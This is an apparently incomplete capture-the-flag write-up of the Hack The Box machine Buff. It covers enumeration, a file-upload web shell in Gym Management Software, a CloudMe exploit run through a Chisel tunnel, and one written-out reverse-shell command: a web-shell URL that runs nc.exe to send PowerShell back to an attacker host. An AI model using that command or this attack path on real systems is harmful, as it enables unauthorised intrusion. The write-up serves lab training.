HTB - Buff

Zweilosec's writeup on the easy-difficulty Windows machine Buff from https://hackthebox.eu

Overview

Short description to include any strange things to be dealt with

TODO: finish writeup, clean up. - I wish I had taken better notes on this one, but I finished it during a pretty busy time.

Useful Skills and Tools

Edit a text file in PowerShell

There is no simple and easy way to edit text files from a command line in PowerShell like in Linux. However, for simple edits you can use the .replace() method for string objects.

  • (Get-Content $input_txt ).Replace('$this','$that') | Out-File $output_txt

Create a port-forwarding reverse tunnel with Chisel

First create your Chisel server on your attacking machine. The option -p $port opens a listener on the port specified.

Then, on the victim machine you need to create a client, specifying which local port you would like to connect to through your reverse tunnel.

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.198. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.

At first my scan wouldn't go through until I added the -Pn flag to stop nmap from sending ICMP probes. After that it proceeded normally.

Only found two open ports: 7680 which nmap reported (with low confidence) as pando-pub and 8080, which hosted an Apache HTTP web server.

Port 8080 - HTTP

Some kind of fitness site

"mrbe3n's Bro Hut" - on about page

I found an upload.php page, but it gave an error message. I wasn't sure what xampp was, so I looked it up.

XAMPP is a completely free, easy to install Apache distribution containing MariaDB, PHP, and Perl. The XAMPP open source package has been set up to be incredibly easy to install and to use.

Exploiting Gym Management Software 1.0

Gym Management Software 1.0 - contact page

Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters. Exploit Details:

The exploit instructions looked more complicated than they actually were.

The exploit completed successfully created a webshell. Next, I had to connect to it by connecting to the file kamehameha.php with my command set as the parameter for the variable telepathy.

You can use curl, burp, or your web browser to do this. From what I understand, the PoC is supposed to create a sort of pseudo-shell, but I couldn't get that to work no matter what I tried.

Saw plink.exe in the directory and didn't recognize the program, so I looked it up.

Plink is a command-line connection tool similar to UNIX ssh. It is mostly used for automated operations, such as making CVS access a repository on a remote server. Plink is probably not what you want if you want to run an interactive session in a console window.

I am pretty sure another player uploaded plink there at some point, though at the time I had no idea what it was, or what it was used for. It is an older and perhaps more common version of chisel that is packaged with Putty.

This time I used Burp to send the command to download nc.exe to the remote machine from mine using curl.

Initial Foothold

Next I used the nc.exe that I had uploaded to send a reverse shell back to my machine. I received the connection back at my waiting netcat listener and got a PowerShell prompt.

I found out that I was the user shaun on a machine named BUFF. I hadn't seen the group NT AUTHORITY\BATCH before, so I looked it up.

A group that includes all users that have logged on through a batch queue facility. Membership is controlled by the operating system.

None of the groups or permissions seemed like anything I could use for privilege escalation.

The command systeminfo told me that this machine was 64-bit and running Windows 10 Enterprise.

Tasks.bat was a very short script that simply started the xampp service.

User.txt

Got the user flag from shaun's desktop!

Path to Power (Gaining Administrator Access)

Further enumeration as shaun 🐇🐇

Beware...here there be rabbits. Click here if you want to skip the giant rabbit hole I fell down. It all seemed so real...

Directory listing of xammp folder

From the file xampp-control.log I found out that xampp required administrative rights, and was version 7.4.6. The control panel was version 3.2.4 and compiled on Jun 5th 2019. I did some research to see if there were any vulnerabilities in this version that I could take advantage of since this seemed pretty old at this point.

XAMPP (stands for Cross-Platform (X), Apache (A), MariaDB (M), PHP (P) and Perl (P)) is very easy to install Apache Distribution for Linux, Solaris, Windows, and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, an FTP server and phpMyAdmin. It is a simple, lightweight Apache distribution that makes it extremely easy for developers to create a local web server for testing and deployment purposes. Everything needed to set up a web server – server application (Apache), database (MariaDB), and scripting language (PHP) – is included in an extractable file. It is also cross-platform, which means it works equally well on Linux, Mac, and Windows. Since most actual web server deployments use the same components as XAMPP, it makes transitioning from a local test server to a live server.

Random notes?

(Get-Content .\input.txt ).Replace('text','fun') | Out-File .\output.txt

Not sure why this is here...useful, but I think I was chasing another rabbit 🐇🐇

I found a file called passwords.txt in the C:\xampp folder. It told me that there was no password set on MySQL which sounded interesting.

In the same folder was a file called myslq_start.bat, which started mysqld using the configuration file mysql\bin\my.ini.

I used mysqldump.exe to dump the contents of the database, but there wasn't anything useful I could find.

I found an interesting batch script in the mysql folder.

reset the root login for sql

After resetting the root password for mysql, I logged in and checked out what I could find. There was...nothing.

End rabbit hole of doom...🐇🐇

CloudMe_1112.exe

Found Cloudme_1112.exe in the C:\Users\shaun\Downloads folder

ps showed multiple versions of CloudMe running.

I had to test multiple of the exploits before I found one that actually worked. I'm certain that it was more the fact that this was an easy box that was being hammered by many many people. Even after choosing the right exploit I had to reset the machine to get it to run. I also had to recompile some of the shellcode in the exploit with the provided msfvenom command.

I found two options for creating a tunnel in order to run the local exploit against the remote machine.

plink?

or chisel?

Chisel looked like an overall better tool, and one that I wanted to add to my toolkit.

http://10.10.10.198:8080/upload/kamehameha.php?telepathy=nc.exe -e powershell.exe 10.10.14.220 12346

Had to manually upload both nc.exe and chisel.exe...used burp repeater

R:8000:127.0.0.1:7890

Getting a shell

and then I was logged in as Administrator, with full privileges!

Root.txt

After getting an Administrator shell it was simple to collect my final proof.

Thanks to egotisticalSW for... [something interesting or useful about this machine.]

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - RemoteNextHTB - Omni

Last updated

Was this helpful?